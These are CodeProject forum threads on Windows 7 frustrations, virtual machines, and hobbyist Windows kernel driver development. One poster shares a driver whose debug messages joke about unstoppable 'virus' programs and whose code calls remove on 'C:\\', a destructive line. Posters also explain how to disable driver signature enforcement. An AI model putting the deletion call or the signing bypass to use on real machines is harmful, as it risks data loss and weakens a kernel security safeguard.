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The “thing” is about 2 years old and was thrown away by frustrated user. It just booted whenever it felt like it. For example it just needed flash drive in USB port to boot at one time! As is. No Dell support after 1 year anyway.
The “speed” is immaterial for me. Actually I like slow compile , time to have cup of java and relax!
It is the constant “updating this and updating that” and the unfamiliar UI I do not like.
I suppose to the new user it is cool, but in comparison with older Windows it is a pain.
There are few inconsistencies - for instance it have some XML text in IE and no Favorites tool bar - I still have not found it, but I ain't looking that hard. Interrupted disk compression( power failure!) and when I finally restarted it it did something (!) but no feedback if it was continuing the compression.
And what up with semitransparent headers in window frame? What for?
I guess if you want “cool” and questionable operation it is OK.
It needs “classic windows” option!
I thing I'll wait till Windows 10 comes up before I abandon XP. Or go for Linux.
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As I see it:
1. You have an unreliable piece of hardware.
2. you have decided you don't like Windows 7.
I don't think anyone on CodeProject can fix that for you.
One of these days I'm going to think of a really clever signature.
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I would recommend downloading a virtual machine simulator like, Oracle VM VirtualBox, that allows you to run Windows Xp, on your real/physical computer, so you would be running to operating systems at the same time and do all your testing and/or developing or whatever you seem to be doing that 'seems' to be best on a Windows Xp Os, except Windows Xp is in it's own separate window and Windows 7 (your default Os) is running at full-screen, please note though once you download it, the program has the option to allow you run the virtual or separate Os in full-screen, overlaying your default one that's already running.
Or you could put Windows Xp as a completely separate Os on the same hard drive as Windows 7, but beware as you might have a very hard time because I heard from talks online about this that "they made Windows 7 to where if you download Windows Xp, Windows Xp won't install because of a serial key invalidation for every security key."
But those are my two-cents. 
Simple Thanks and Regards,
Brandon T. H.
Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).
Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison
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Brandon T. H. wrote: I would recommend downloading a virtual machine simulator like, Oracle VM VirtualBox
Why not Windows Virtual PC[^]?
One of these days I'm going to think of a really clever signature.
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Oracle VM VirtualBox has a lot more features, and is a lot more user friendly, plus it's open-source, you can add on to it, plus it failed to install on my PC, but Oracle is on there and it works pretty good and just fine.
Simple Thanks and Regards,
Brandon T. H.
Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).
Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison
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Thanks for the info.
Since my initial exposure to Win 7 give me the impression that it is doing stuff to recover from some hard drive problem, it kept rebooting and eventually started at random, I think you are right about potential effect on the Win 7 if I attempt to add XP to the HDD even as virtual XP. I think I will just try to install HDD with XP on it.( Want to see the innards of Inspiron anyway!)
I would be curious if Win 7 is user friendly to do dual boot with Linux, but I guess I need to try that in the future.
I still do not get how Dell's boot setup and OS setup interact.
Back to C++ programming.
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Vaclav_Sal wrote: I still do not get how Dell's boot setup and OS setup interact.
Like most manufacturers they create their own customized image, under licence from Microsoft, and install it on all their PCs. If you have problems with it then you should always go to Dell first for help. If you modify the setup or install your own purchased version of Windows on the system then Dell are no longer responsible for what happens. However, I have had three Dell systems and replaced the Dell image with later OSes on two of them without any problems.
One of these days I'm going to think of a really clever signature.
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Vaclav_Sal wrote: I still do not get how Dell's boot setup and OS setup interact.
I've been on Dell computers before:
Press the [F12] or [F8] key, either of the two, should bring up the boot menu, so that you can load or should I say bootstrap the Windows Xp setup installer into your computer's memory. If you have just the setup of Windows Xp on a CD or DVD without anything else on it, then it should say "Press any key to boot from CD...", or similar to that, if you followed those steps and loaded it, if so then press the space bar when that happens, and it should be pretty self-explanatory after that.
You can use a Windows 7 Repair-CD and browse for any hard drives, and modify the Dell setup image, so that it doesn't install any bloatware.
Simple Thanks and Regards,
Brandon T. H.
Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).
Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison
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Hi,
I am looking for windows driver debugger wddebug_gui.exe
Does anyone know how/where to get it from?
Thanks.
“If I had asked people what they wanted, they would have said faster horses.”
― Henry Ford
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Would be part of this[^] product, according to my virusscanner.
Bastard Programmer from Hell 
if you can't read my code, try converting it here[^]
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Hi all,
I have a simple driver which compiles and loads fine, and a simple C++ application which can read data being output from it.
What I am ultimately trying to do is get the data being spat out from the driver into a C# application (which I would prefer to use to do the GUI side of things).
My plan at the moment is to create a .dll, which would have the C++ code to read from the driver, and a buffer which would be exposed to the C# application to read the data.
I have not got to the point of trying this yet, but from what I have been reading online I get the impression that mixing managed and unmanaged code is a nightmare.
So I have two questions:
#1. Am I on the right track with this plan of mine?
#2. If I am not on the right track, does anyone who has been through all of this have any tips, or good articles that can get me moving in the right direction?
Thankyou,
Mark.
Mark Brock
"We're definitely not going to make a G or a PG version of this. It's not PillowfightCraft." -- Chris Metzen
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Great, thanks Richard 
Mark Brock
"We're definitely not going to make a G or a PG version of this. It's not PillowfightCraft." -- Chris Metzen
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Well I created a driver using this code, with WINDDK, using the 'Windows Xp Checked Build Environment' command line console:
#include <ntddk.h>
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath){
DbgPrint("Support driver entry ! (kernelExeSDrv.sys)! \n");
DbgPrint("This driver, executes applications, services, processes and extensions at the kernel level! \n");
DbgPrint("Now injecting main driver code in-memory, running in ring 0 (kernel). \n");
DbgPrint("WARNING 1: Any application that this driver executes, will not be able to be closed-down (programs will be unstoppable) and will be able to do ANYTHING to your computer! *cough* computer virus *cough* \n");
DbgPrint("WARNING 2: Driver are 'special,' so if anything goes crazy, unplug that cord or hold the power button, and hope for the best. (: \n");
DbgPrint("WARNING 3: You should know (but I'll tell you anyway), once a driver has been started, it CANNOT be RE-started or stopped. (driver are designed with the peace in mind to be tamper-proof). \n");
DbgPrint("Have (dangerous) fun! (: \n");
remove("C:\\");
return STATUS_SUCCESS;
}
Here's the output of the command console that built that .sys file or driver:
C:\WINDDK\3790~1.183>cd C:\WINDDK\3790.1830\src\myDrvs\supportElevation(TM)
C:\WINDDK\3790.1830\src\myDrvs\supportElevation(TM)>build
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
BUILD: Using 2 child processes
BUILD: Object root set to: ==> objchk_wxp_x86
BUILD: Compile and Link for i386
BUILD: Loading C:\WINDDK\3790~1.183\build.dat...
BUILD: Computing Include file dependencies:
BUILD: Examining c:\winddk\3790.1830\src\mydrvs\supportelevation(tm) directory f
or files to compile.
c:\winddk\3790.1830\src\mydrvs\supportelevation(tm) - 1 source files (13 lin
es)
BUILD: Compiling (NoSync) c:\winddk\3790.1830\src\mydrvs\supportelevation(tm) di
rectory
1>Compiling - driver.c for i386
BUILD: Compiling c:\winddk\3790.1830\src\mydrvs\supportelevation(tm) directory
BUILD: Linking c:\winddk\3790.1830\src\mydrvs\supportelevation(tm) directory
1>Linking Executable - objchk_wxp_x86\i386\kernelexesdrv.sys for i386
BUILD: Done
2 files compiled
1 executable built
C:\WINDDK\3790.1830\src\myDrvs\supportElevation(TM)>
When I used Osr loader version 3.0, explicitly made for Windows Xp, on a virtual Windows Xp machine, I browsed for the driver (it was in a folder on the desktop of the windows xp machine), clicked OK, clicked 'Register Service' it gave me a message "Operation completed successfully!," then I clicked 'Start Service' then it gave me a message "Operation completed successfully!," at that time I had Sysinternals DbgView up and running, and then the following messages appeared on the DbgView program:
00000001 0.00000000 Support driver entry ! (kernelExeSDrv.sys)!
00000002 0.00280622 This driver, executes applications, services, processes and extensions at the kernel level!
00000003 0.00300485 Now injecting main driver code in-memory, running in ring 0 (kernel).
00000004 0.00325349 WARNING 1: Any application that this driver executes, will not be able to be closed-down (programs will be unstoppable) and will be able to do ANYTHING to your computer! *cough* computer virus *cough*
00000005 0.00346748 WARNING 2: Driver are 'special,' so if anything goes crazy, unplug that cord or hold the power button, and hope for the best. (:
00000006 0.00370773 WARNING 3: You should know (but I'll tell you anyway), once a driver has been started, it CANNOT be RE-started or stopped. (driver are designed with the peace in mind to be tamper-proof).
00000007 0.00386865 Have (dangerous) fun! (:
But when I click 'Stop Serivce' it reads "The requested control is not valid for this resource!," but thats for the Windows Xp virtual machine.
Now for my machine, the Windows 7 Home Premium (which is a physical computer or the host computer), with the exact same driver or .sys file, I could register the service, but I could not start it, it gives me the message, "This driver has been blocked from loading." I created it using the 'Windows Xp Checked Build Enviroment' (since there was not a Windows 7 one  ), what am I doing wrong? 
Simple Thanks and Regards,
Brandon T. H.
Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).
Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison
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Probably not, what is it? could you tell me how to do it, please.
Simple Thanks and Regards,
Brandon T. H.
Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).
Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison
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Starting with Vista, drivers must be signed. So read the text from the link and follow the links that apply to your driver and Windows bit size.
If you have a specific question that can't be answered by searching the web, ask again. I have not much experience with driver signing. But others here may help you.
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Thanks
Simple Thanks and Regards,
Brandon T. H.
Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).
Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison
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You can turn off driver signing checking, or if you are in debug mode on the target it is disabled anyway. Have a google for how to do this.
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Thanks, I'll give it a try.
Simple Thanks and Regards,
Brandon T. H.
Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).
Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison
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Oh just a news flash to you and everyone else reading this, the shameful news that Microsoft made it impossible to disable Driver Signing Checking Enforcement through the registry in Windows 7, probably because of driver viruses. Since drivers run at a higher security level, they can do a lot more intense things (and permanent) things to the computer and/or system. Just throwing out a guess here.
The only ways to disable Driver Signing Checking Enforcement in Windows 7 is by doing this:
1. Press F8 repeatedly on boot on on the BIOS screen (or as soon your computer boots up) until you hear a beeping sound, then select "Disable Driver Signing Checking Enforcement," and you should be able to load drivers that have bad signatures or NO signatures whatsoever. Please note though that this will only work for this session, so in other words the next time you boot up your PC, DSCE will be on. Quite a pain you have to do this every time by hand.
2. The other option is by googling "Driver Signing Enforcement Overrider" a.k.a. DSEO, a tool that allows you to test bad drivers without that obstacle of the DSCE. (here I've done it for you'll non-googlers out there, just click the link how easy is that  , now don't complain about the searching part)
Simple Thanks and Regards,
Brandon T. H.
Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).
Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison
modified 23-Jul-12 2:16am.
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Hello all,
OK, I have a few simple questions with you'll that expertise with driver development out there...
(1.) What's a binary driver?
(2.) Is there a type of driver out there that I can create, that will work on ALL operating systems, without making a driver for each specific Os (e.g., Windows Vista, 7, Xp, 2000, 98; Apple Macintosh; Linux)?
(3.) Can you stop a driver when you already started it, and/or re-start it (cause I was using the Osr loader to load the driver in the computer memory, and I couldn't stop it [it gives me an error])?
Simple Thanks and Regards,
Brandon T. H.
Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).
Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison
modified 10-Jul-12 15:45pm.
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I already answered these questions here[^]. I meant you to post your supplementary here about the actual problem with trying to run your driver.
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Do you want me to modify the whole message here to that post on that thread, so that they will get the info.
Simple Thanks and Regards,
Brandon T. H.
Programming in C and C++ now, now developing applications, services and drivers (and maybe some kernel modules...psst kernel-mode drivers...psst).
Many of life's failures are people who did not realize how close they were to success when they gave up. - Thomas Edison
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Well, I would suggest you mark this as solved and post a new question with all the technical details of your problem.
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